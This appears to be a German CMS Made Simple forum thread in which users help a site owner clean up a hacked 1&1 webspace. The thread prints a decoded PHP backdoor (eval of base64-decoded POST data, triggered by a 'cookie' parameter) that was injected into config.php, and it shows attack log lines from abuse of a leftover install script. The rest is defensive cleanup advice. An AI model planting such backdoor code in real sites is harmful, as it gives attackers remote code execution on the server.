Angriff 1&1 Webspace / Upload config.php

blizzyx · 01. September 2015 21:42

Guten Abend zusammen,

neulich hat meine Website folgende Fehlermeldung geworfen

Fatal error: require_once(): Failed opening required '/homepages/8/d564981424/htdocs/version.php' (include_path='.:/usr/lib/php5.4') in /homepages/8/d564981424/htdocs/include.php on line 75

und war damit nicht mehr erreichbar. Auch das Backend hat selben Fehler ausgespuckt.

Dann erhielt ich von 1&1 noch folgende Nachricht [Auszug]:

Sie erhalten heute eine dringende Nachricht zu Ihrem 1&1 Vertrag.
Vor wenigen Minuten meldete unser Anti-Viren-Scanner, dass eine schädliche Datei auf Ihren 1&1 Webspace geladen wurde. Der Name der Datei ist:
~/config.php
Um Sie vor gefährlichen Hacker-Angriffen zu schützen, prüft unser Anti-Viren-Scanner jede Datei, die auf Ihren Webspace geladen oder verändert wird. Zeigt eine Datei deutliche Muster eines Angriffs, wird sie automatisch deaktiviert.

Gibt es hier Erfahrungen mit diesem Fehler? Kann es tatsächlich sein, dass die Website gehackt worden ist??

$CMS_VERSION = "1.11.4";
$CMS_VERSION_NAME = "Fernandina";
$CMS_SCHEMA_VERSION = "36";

//edit ich habe im Nachhinein festgestellt, dass 1&1 die config.php und version.php offenbar laufend als Virus o.Ä. erkennt und die Schreibrechte automatisch auf 200 setzt, wodurch die o.g. Fehlermeldung hervorgerufen wird. Kann man das irgendwie für diese beiden Dateien deaktivieren?

Beitrag geändert von blizzyx (02. September 2015 22:19)

Andynium · 02. September 2015 22:42

Willkommen in unserem Forum!

1&1 ist zwar nicht allererste Wahl, was den Betrieb von CMSMS angeht, aber nichts desto trotz sollte es mehr oder weniger problemlos damit laufen.

Nichts desto trotz kommt mir das ebenfalls etwas merkwürdig vor. Schreibrechte 200 bedeutet, dass nur der Server diese Datei schreiben, aber nicht lesen oder ausführen kann. Macht irgend wie keinen Sinn...

Zudem - hast du diese beiden Dateien kontrolliert, dass diese tatsächlich binär dem Original deiner Version entsprechen, und nicht irgend welcher systemfremder Murks enthalten ist?

Falls es da Probleme gibt, kannst du die beiden Dateien absichern, indem du nur eingeschränkte Rechte vergibst. Beide Dateien müssen nur vom Server gelesen werden, also wäre chmod 400 vollkommen ausreichend. Geht aber bei manchen Hosts nicht, weshalb es auch ein chmod 444 tun würde.

Ergänzend bietet sich an, die config.php via htaccess abzusichern

Hier klicken, um den Code zum Kopieren zu markieren

# BEGIN Optional settings
# Deny access to config.php
<Files ~ "config.php">
order allow,deny
deny from all
</Files>
# END Optional Settings

Parallel dazu würde ich sämtliche Passwörter auf sichere Werte ändern (CMSMS, FTP, Datenbank).

Weitere Hinweise zur Absicherung von CMSMS findest du hier

http://www.cmsmadesimple.de/forum/viewtopic.php?id=18

blizzyx · 02. September 2015 23:01

Hallo cyberman,

vielen Dank für deine Antwort.

Sämtliche Passwörter zu FTP, Datenbank, Verzeichnisschutz und 1&1 Control Center wurden bereits geändert.

cyberman schrieb:

Zudem - hast du diese beiden Dateien kontrolliert, dass diese tatsächlich binär dem Original deiner Version entsprechen, und nicht irgend welcher systemfremder Murks enthalten ist?

Die betroffenen Dateien config.php und version.php haben im Kopf folgendes stehen:

Hier klicken, um den Code zum Kopieren zu markieren

<?php $cookey = "a2968f284f"; preg_replace("\x23\50\x2e\53\x29\43\x69\145","\x40\145\x76\141\x6c\50\x22\134\x31\42\x29\73","\x40\145\x76\141\
...
113\x54\163\x67\132\x58\150\x70\144\x44\163\x67\146\x51\75\x3d\42\x29\51\x3b"); ?>

Erst im Anschluss darauf folgt der übliche Inhalt der configuration file und den Versionshinweisen.

Edit: Aus Sicherheitsgründen den Malware-Code eingekürzt.

Beitrag geändert von Andynium (07. Oktober 2015 20:18)

Andynium · 02. September 2015 23:25

blizzyx schrieb:

Erst im Anschluss darauf folgt

Du ahnst es sicherlich bereits - das ist NICHT das Original. Also hatte 1&1 recht mit seiner Handlungsweise. Irgendwer muss (unberechtigten) Zugriff auf diese Dateien gehabt haben. Hast du noch andere Software auf diesem Host laufen?

In der config.php sind im Regelfall, wie der Name bereits vermuten lässt, ausschließlich Konfigurationsparameter zu finden. Wie die Minimal-Config aussieht, findest du hier

http://www.cmsmadesimple.de/forum/viewt … 525#p28525

Nichts desto trotz solltest du schauen, dass du dein System auf die 1.12.1 aktualisierst, da gab es nach meiner Erinnerung schon ein paar Security-Fixes - nach der CMSMS-eigenen System Policy der .org werden nur die letzten beiden Versionen, also die 1.12 und die 1.12.1 supported (was wir allerdings hier nicht so eng sehen).

Die Virenscanner der Hoster sind ziemlich korrekt, würde mir aber trotzdem noch mal das System genauer anschauen, ob da nicht noch irgend etwas Seltsames im System rumschwirrt.

Andynium · 02. September 2015 23:35

blizzyx schrieb:

haben im Kopf folgendes stehen:
<?php $cookey = "a2968f284f"; preg_replace("\x23\50\x2e\53\x29\43\x69\145","\x40\145\x76\141\x6c\50\x22\134\x31\42\x29\73","\x40\145\x76\141\x6
...
7\132\x58\150\x70\144\x44\163\x67\146\x51\75\x3d\42\x29\51\x3b"); ?>

Und das kommt nach einer Dekodierung raus

http://www.unphp.net/decode/a7a9198fc5c … 8a36e388f/

blizzyx · 02. September 2015 23:54

cyberman schrieb:

Und das kommt nach einer Dekodierung raus
http://www.unphp.net/decode/a7a9198fc5c … 8a36e388f/

Bei mir kommt folgendes nach Decode raus:

<?php $cookey = "a2968f284f"; preg_replace("#(.+)#ie", "@eval("");", "@eval(base64_decode("aWYgKGlzc2V0KCRfR0VUWyJjb29raWUiXSkpIHsgZWNobyAiY29va2llPTQiOyBpZiAoaXNzZXQoJF9QT1NUWyRjb29rZXldKSkgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJGNvb2tleV0pKTsgZXhpdDsgfQ == "));"); ?>

Wandelt man den base64 Schlüssel um, ist es folgendes:

<?php $cookey = "a2968f284f"; preg_replace("#(.+)#ie", "@eval("");", "@eval(base64_decode("if (isset($_GET["cookie"])) { echo "cookie=4"; if (isset($_POST[$cookey])) @eval(base64_decode($_POST[$cookey])); exit; } == "));"); ?>

Da neben der config.php auch die Berechtigungen der version.php geändert worden ist, habe ich im WebspaceExplorer von 1&1 die Berechtigungen mal spaßeshalber – wie in der Instalationshilfe angegeben – auf 666 angepasst. Da hat es nicht lange gedauert, bis das 1&1 Sicherheitscenter wieder eine Warnung rausgeschickt hat und siehe da: beide Dateien wieder auf 200. Hinter der automatischen Änderung der Berechtigungen steckt also 1&1 („Um Sie vor gefährlichen Hacker-Angriffen zu schützen, prüft unser Anti-Viren-Scanner jede Datei, die auf Ihren Webspace geladen oder verändert wird. Zeigt eine Datei deutliche Muster eines Angriffs, wird sie automatisch deaktiviert.). Aus diesem Grund kann ich mir durchaus vorstellen, dass 1&1 auch die Codeschnippsel im Header hinzugefügt hat (sind soweit ich das richtig interpretiere harmlose Cookies?).

Was mich bloß stutzig macht, ist die Tatsache, dass irgendjemand eine config.php hochgeladen hat und daraufhin der 1&1 Virenscanner angeschlagen hat...

nockenfell · 02. September 2015 04:56

Wie es scheint, besteht irgendwo eine Sicherheitslücke, welche einen File-Upload ermöglicht. Deshalb schlage ich dir folgendes Vorgehen vor:

Sichere Dateien und Datenbank
Lösche alle Dateien auf dem Server
Lösche auch allenfalls nicht mehr benutzte Installationen
Installiere ein Clean CMSMS der Version in welcher du CMSMS aktuell betreibst
Installiere alle Module in der aktuell betriebenen Version
Binde die alte Datenbank wieder ein
Aktualisiere das CMS wie die Module auf den aktuellen Stand
Sichere alle System-Ordner sowie den uploads Ordner ab, so dass von Aussen kein PHP Script aufgerufen werden kann. --> Beachte, dass gewisse Module hier aus dem Modulverzeichnis PHP-Scripts aufrufen. Es gibt hier also Ausnahmen.

Andynium · 02. September 2015 05:55

blizzyx schrieb:

Aus diesem Grund kann ich mir durchaus vorstellen, dass 1&1 auch die Codeschnippsel im Header hinzugefügt hat (sind soweit ich das richtig interpretiere harmlose Cookies?)..

Sorry, dass Hinzufügen von Code wäre für mich ein NoGo (und damit ein Kündigungsgrund).

Dann müssten andere Dateien ja auch diesen “Überwachungsstempel“ haben.

Vielmehr scheint es, als ob da (wie von nockenfell vermutet) irgendein Script auf chmod 666 “lauert“. Aber wie gesagt - seltsame Empfehlungen seitens 1&1.

400 oder 444 ist für diese Dateien ausreichend.

NaN · 02. September 2015 09:32

Aus diesem Grund kann ich mir durchaus vorstellen, dass 1&1 auch die Codeschnippsel im Header hinzugefügt hat

Sorry, aber das ist Käse.
Der Code kommt definitiv nicht von 1&1.
Wenn man danach googelt, findet man auch WordPress Seiten, die mit einem solchen Code infiziert wurden. Und die laufen nicht alle bei 1&1.

(sind soweit ich das richtig interpretiere harmlose Cookies?)

Das nennst Du harmlos?

Hier klicken, um den Code zum Kopieren zu markieren

@eval(base64_decode($_POST[$cookey]));

Diese "harmlose" Zeile führt alles mögliche aus, was in irgendeinem POST-Request gesendet wird.
Das ist eine klassische "Backdoor".

Und wenn sonst nichts verdächtiges in der config.php steht, dann ist dieser Code genau das, was der Virenscanner von 1&1 als einen eben solchen erkannt hat. Und deswegen sperrt er den Zugriff auf diese Datei. Eine vollkommen logische Reaktion. Also muss dieser Code da raus. Dann kannst Du der config.php auch wieder sinnvolle Zugriffsrechte geben.
Da Du aber nie sicher sein kannst, ob nicht doch irgendwo noch eine infizierte Datei rumschwirrt, folge lieber @Nockenfells Rat.

Viel wichtiger ist allerdings die Frage: Wie kommt dieser Code da rein?
Diese Frage wird allerdings leider nur sehr schwer zu beantworten sein.

Hattest Du die Sicherheitstipps umgesetzt?
(das TMP Verzeichnis wird nämlich oft vergessen)

faglork · 02. September 2015 12:46

Das ist definitiv eine Backdoor, und entweder wurde 1&1 gehackt (unwahrscheinlich) oder dein Webspace (sehr wahrscheinlich).

Zum Einen müsstest du jetzt herausfinden welche Dateien *noch* infiziert sind. Auf den Virenscanner von 1x1 würde ich mich da jetzt nicht verlassen.

Am einfachsten geht das mit grep
http://www.linux-fuer-blinde.de/135-0-d … -grep.html

ansonsten

--> alles per FTP runterladen
--> mit Sourcecode-Editor o.ä. alle php-Dateien nach <?php $cookey durchsuchen

Zuma Anderen musst du natürlich herausfinden wie dein Account gehackt wurde. Sonst wird der ratzfatz wieder gehackt.

Servus,
Alex

Klenkes · 02. September 2015 13:04

Scheint genau dieses Problem zu sein: http://forum.cmsmadesimple.org/viewtopi … 55#p323555

Existiert dein /install/ Verzeichnis noch? Falls ja, immer unbedingt löschen!

Beitrag geändert von Klenkes (02. September 2015 13:05)

TeXnik · 02. September 2015 16:22

Zusätzlich auch den Zugang zu deinem Webserver ändern. Such dir ein kompliziertes PW aus!

Wenn du auch einen ftp-Zugriff installiert hast, diesen löschen und einen komplett neuen mit kompliziertem PW erstellen.

Das war bei mir vor einigen Jahren der Fall. Da wurde auch immer die config.php geändert. Die Suche ergab Schadcode in einigen Files und in der DB. Alle wurden ersetzt, das admin-verzeichnis umbenannt, Ordner, wo dieser Schadcode auftrat wurden nur mit Leserechten versehen.
Danach hatte ich keine solchen Probleme mehr.

blizzyx · 02. September 2015 18:17

Vielen Dank für den Tipp, sämtliche Passwörter sind bereits durch sichere Passwörter ersetzt worden. Die Website ist offline; den offenbar schadhaften Code habe ich aus den betroffenen Dateien entfernt. Allerdings noch keinen ausreichenden Scan gemacht. Dieser steht noch aus und eher geht die Website nicht ans Netz.

Zum Hintergrund: die Website ist vor zwei Jahren von einem IT-Dienstleister umgesetzt worden. Ich bin bisher nur für die Pflege von redaktionellen Inhalten vom Auftraggeber ins Boot geholt worden und seit dem Angriff nun mehr dafür zuständig, das Ding schnellstmöglich wieder zum Laufen zu bringen. Demnach kann ich vorerst keine Aussagen darüber treffen, welche Sicherheitsmaßnahmen in der Vergangenheit getroffen worden sind und welche nicht. Dazu kommt, dass ich mit CMSMS bisher noch nicht gearbeitet habe.

NaN schrieb:

Diese "harmlose" Zeile führt alles mögliche aus, was in irgendeinem POST-Request gesendet wird.
Das ist eine klassische "Backdoor".

Hallo NaN,

ganz großen Dank an dich und die anderen dafür, dass ihr den Verdacht eines Hacks bestätigen konntet. Wie cyberman bereits schrieb, ist auch in meinen Augen 1&1 sicher nicht die beste Wahl, wodurch ich an der Glaubwürdigkeit des Virenscanners gezweifelt hatte. Wie man sieht, zu unrecht.

Nach Überprüfung der Ordnerstruktur ist mir aufgefallen, dass der /install Ordner inklusive Inhalt vorhanden ist. Da ist bei der Erstellung der Website offensichtlich geschlampt worden?

Wie bereits erwähnt, macht mich stutzig, wie der Angreifer die config.php ohne ausreichenden FTP-Zugang hochladen konnte. Kannst du mir mir das erklären? Ist es möglich, dass es sich um einen gezielten Angriff handelt oder spricht eher etwas dafür, dass die Website wie massenhaft andere dem Backdoor zum Opfer gefallen ist?

Beitrag geändert von blizzyx (02. September 2015 18:20)

nockenfell · 02. September 2015 20:23

blizzyx schrieb:

Wie bereits erwähnt, macht mich stutzig, wie der Angreifer die config.php ohne ausreichenden FTP-Zugang hochladen konnte. Kannst du mir mir das erklären? Ist es möglich, dass es sich um einen gezielten Angriff handelt oder spricht eher etwas dafür, dass die Website wie massenhaft andere dem Backdoor zum Opfer gefallen ist?

Dafür braucht es unter umständen gar keinen FTP Account sondern einen Backdoor oder eine Sicherheitslücke, die es ermöglicht eine PHP Datei auf den Server zu laden und durch die Ausführung derselben weitere Dateien zu verändern.

NaN · 03. September 2015 08:05

Ist es möglich, dass es sich um einen gezielten Angriff handelt oder spricht eher etwas dafür, dass die Website wie massenhaft andere dem Backdoor zum Opfer gefallen ist?

Ein Angriff erfolgt eigentlich immer gezielt gegen das verwendete System.
Man kann eine Lücke in einem System nicht ausnutzen, ohne die Lücke genau zu kennen.
D.h. jemand hat bemerkt, dass die Seite mit CMSms betrieben wird und dann eine Anfrage an den Installer gestartet. Da muss nicht mal eine Person dahinter stecken - ein Bot könnte das auch.

In dieser Anfrage war PHP-Code enthalten, die der Server einfach ausgeführt hat. Das ist ein Fehler im Installer von CMSms. Dass man den Ordner löschen sollte, ist zwar klar, aber dennoch sollten die Entwickler den Fehler beheben.

blizzyx · 03. September 2015 08:29

NaN schrieb:

Ein Angriff erfolgt eigentlich immer gezielt gegen das verwendete System.
Man kann eine Lücke in einem System nicht ausnutzen, ohne die Lücke genau zu kennen.
D.h. jemand hat bemerkt, dass die Seite mit CMSms betrieben wird und dann eine Anfrage an den Installer gestartet. Da muss nicht mal eine Person dahinter stecken - ein Bot könnte das auch.

Ich habe die Möglichkeit, mir die Log-Dateien des Servers anzusehen. Gibt es bestimmte – verdächtige – Einträge, auf die ich achten kann? Einträge, womit sich der genaue Zeitpunkt des Hacks feststellen lässt?

Aktuell besteht der Verdacht, dass die Website gezielt Opfer des Hacks geworden ist. Interessant wäre es herauszufinden, ob man den Angriff auf jemanden zurückfühhren kann. Die Marketingabteilung hat mir nämlich mitgeteilt, dass am Tag vor dem Hack ein dubioses Angebot einer Firma einging, die kostenfreie Websiteanalsen anbietet. Dieses Angebot ist vom Kunden abgelehnt worden.

NaN · 03. September 2015 08:41

Dann schau doch mal in den Access-Logs, wann das letzte Mal auf das Install-Script zugegriffen wurde. Mehr Anhaltspunkte gibt es da leider nicht (sofern der Angriff tatsächlich über den Installer kam). Ich bezweifle allerdings, dass Du außer einer IP-Adresse, die zu irgendeinem Server irgendwo ins Ausland führt, etwas genaueres herausfinden wirst. Der Betreiber des Servers muss dann nichtmal der Angreifer gewesen sein. Der könnte auch nur als Proxy gedient haben. Ich gehe einfach mal davon aus, dass ein Angreifer in der Lage sein wird, seine Spuren gut genug zu verwischen.

blizzyx · 07. Oktober 2015 13:43

Für alle Interessierten hier ein paar Auszüge aus dem Serverlog. Die Vorgehensweise war immer dieselbe: Aufruf der index.php im Install-Ordner, anschließend Kompromittierung der config.php via Post-Request.

Hier klicken, um den Code zum Kopieren zu markieren

46.183.218.x - - [19/Aug/2015:18:08:08 +0200] "GET /install/index.php HTTP/1.1" 200 2843 www.######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:18:08:09 +0200] "POST /install/index.php HTTP/1.1" 200 2098 www.######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:18:08:11 +0200] "POST /install/index.php HTTP/1.1" 200 - www.######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:18:08:12 +0200] "POST /install/index.php HTTP/1.1" 200 - www.######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:18:08:12 +0200] "POST /config.php HTTP/1.1" 200 - www.######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:18:08:13 +0200] "GET /version.php?cookie HTTP/1.1" 200 8 www.######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"

[...]

46.183.218.x - - [19/Aug/2015:20:13:05 +0200] "GET /install/index.php HTTP/1.1" 200 2843 ######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:20:13:05 +0200] "POST /install/index.php HTTP/1.1" 200 225 ######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:20:13:06 +0200] "POST /install/index.php HTTP/1.1" 200 225 ######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:20:13:06 +0200] "POST /install/index.php HTTP/1.1" 200 225 ######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:20:13:07 +0200] "POST /config.php HTTP/1.1" 200 15 ######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:20:13:07 +0200] "GET /version.php?cookie HTTP/1.1" 200 15 ######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:20:13:08 +0200] "GET /config.php?cookie HTTP/1.1" 200 15 ######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"

[...]

46.183.218.x - - [19/Aug/2015:22:43:43 +0200] "GET /install/index.php HTTP/1.1" 200 2843 ######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:22:43:44 +0200] "POST /install/index.php HTTP/1.1" 200 225 ######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:22:43:44 +0200] "POST /install/index.php HTTP/1.1" 200 225 ######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:22:43:45 +0200] "POST /install/index.php HTTP/1.1" 200 225 ######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:22:43:45 +0200] "POST /config.php HTTP/1.1" 200 15 ######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:22:43:46 +0200] "GET /version.php?cookie HTTP/1.1" 200 15 ######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"
46.183.218.x - - [19/Aug/2015:22:43:47 +0200] "GET /config.php?cookie HTTP/1.1" 200 15 ######.de "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" "-"

Andynium · 07. Oktober 2015 14:44

Danke für den Auszug - mir scheint, der Angreifer hatte detailierte Systemkenntnisse hmm ... findet sich da irgendwo auf deiner Webseite ein Hinweis auf CMSMS?

Sollte schnellstmöglich entfernt werden, siehe auch 2.2.3 des Security-Threads - zumal das eingesetzte CMS für den nach Informationen Suchenden so wichtig ist wie die Gasrechnung von vor 5 Jahren.

faglork · 07. Oktober 2015 17:20

blizzyx schrieb:

Für alle Interessierten hier ein paar Auszüge aus dem Serverlog. Die Vorgehensweise war immer dieselbe: Aufruf der index.php im Install-Ordner, anschließend Kompromittierung der config.php via Post-Request.

Was zum Teufel sucht der install Ordner noch auf dem Server?

Servus,
Alex

blizzyx · 07. Oktober 2015 17:35

faglork schrieb:

blizzyx schrieb:
Für alle Interessierten hier ein paar Auszüge aus dem Serverlog. Die Vorgehensweise war immer dieselbe: Aufruf der index.php im Install-Ordner, anschließend Kompromittierung der config.php via Post-Request.

Was zum Teufel sucht der install Ordner noch auf dem Server?
Servus,
Alex

Das hatte ich mich auch gefragt.

Inzwischen ist die Website aus einem früheren Backup heraus wiederhergestellt worden. Sämtliche Versionsverweise sind entfernt und der Installationsordner gelöscht worden. Außerdem wurde das Adminverzeichnis umbenannt und mit einem Verzeichnisschutz versehen. Sämtliche eurer Ratschläge habe ich umgesetzt.

Jetzt bin ich mal gespannt, ob meine Rechnung an den damaligen Websiteersteller weitergegeben wird wink

Andynium · 07. Oktober 2015 20:15

blizzyx schrieb:

Sämtliche eurer Ratschläge habe ich umgesetzt.

Falls es weitere Probleme geben sollte - gern wieder.

Sind immer an einer Verbesserung / Optimierung unserer Tipps interessiert. Nur durch User-Anfragen lässt sich wirklich erkennen, was man noch verbessern kann, auch support-seitig.

Forum für CMS/made simple

#1 01. September 2015 21:42

Angriff 1&1 Webspace / Upload config.php

#2 02. September 2015 22:42

Re: Angriff 1&1 Webspace / Upload config.php

#3 02. September 2015 23:01

Re: Angriff 1&1 Webspace / Upload config.php

#4 02. September 2015 23:25

Re: Angriff 1&1 Webspace / Upload config.php

#5 02. September 2015 23:35

Re: Angriff 1&1 Webspace / Upload config.php

#6 02. September 2015 23:54

Re: Angriff 1&1 Webspace / Upload config.php

#7 02. September 2015 04:56

Re: Angriff 1&1 Webspace / Upload config.php

#8 02. September 2015 05:55

Re: Angriff 1&1 Webspace / Upload config.php

#9 02. September 2015 09:32

Re: Angriff 1&1 Webspace / Upload config.php

#10 02. September 2015 12:46

Re: Angriff 1&1 Webspace / Upload config.php

#11 02. September 2015 13:04

Re: Angriff 1&1 Webspace / Upload config.php

#12 02. September 2015 16:22

Re: Angriff 1&1 Webspace / Upload config.php

#13 02. September 2015 18:17

Re: Angriff 1&1 Webspace / Upload config.php

#14 02. September 2015 20:23

Re: Angriff 1&1 Webspace / Upload config.php

#15 03. September 2015 08:05

Re: Angriff 1&1 Webspace / Upload config.php

#16 03. September 2015 08:29

Re: Angriff 1&1 Webspace / Upload config.php

#17 03. September 2015 08:41

Re: Angriff 1&1 Webspace / Upload config.php

#18 07. Oktober 2015 13:43

Re: Angriff 1&1 Webspace / Upload config.php

#19 07. Oktober 2015 14:44

Re: Angriff 1&1 Webspace / Upload config.php

#20 07. Oktober 2015 17:20

Re: Angriff 1&1 Webspace / Upload config.php

#21 07. Oktober 2015 17:35

Re: Angriff 1&1 Webspace / Upload config.php

#22 07. Oktober 2015 20:15

Re: Angriff 1&1 Webspace / Upload config.php

Fußzeile des Forums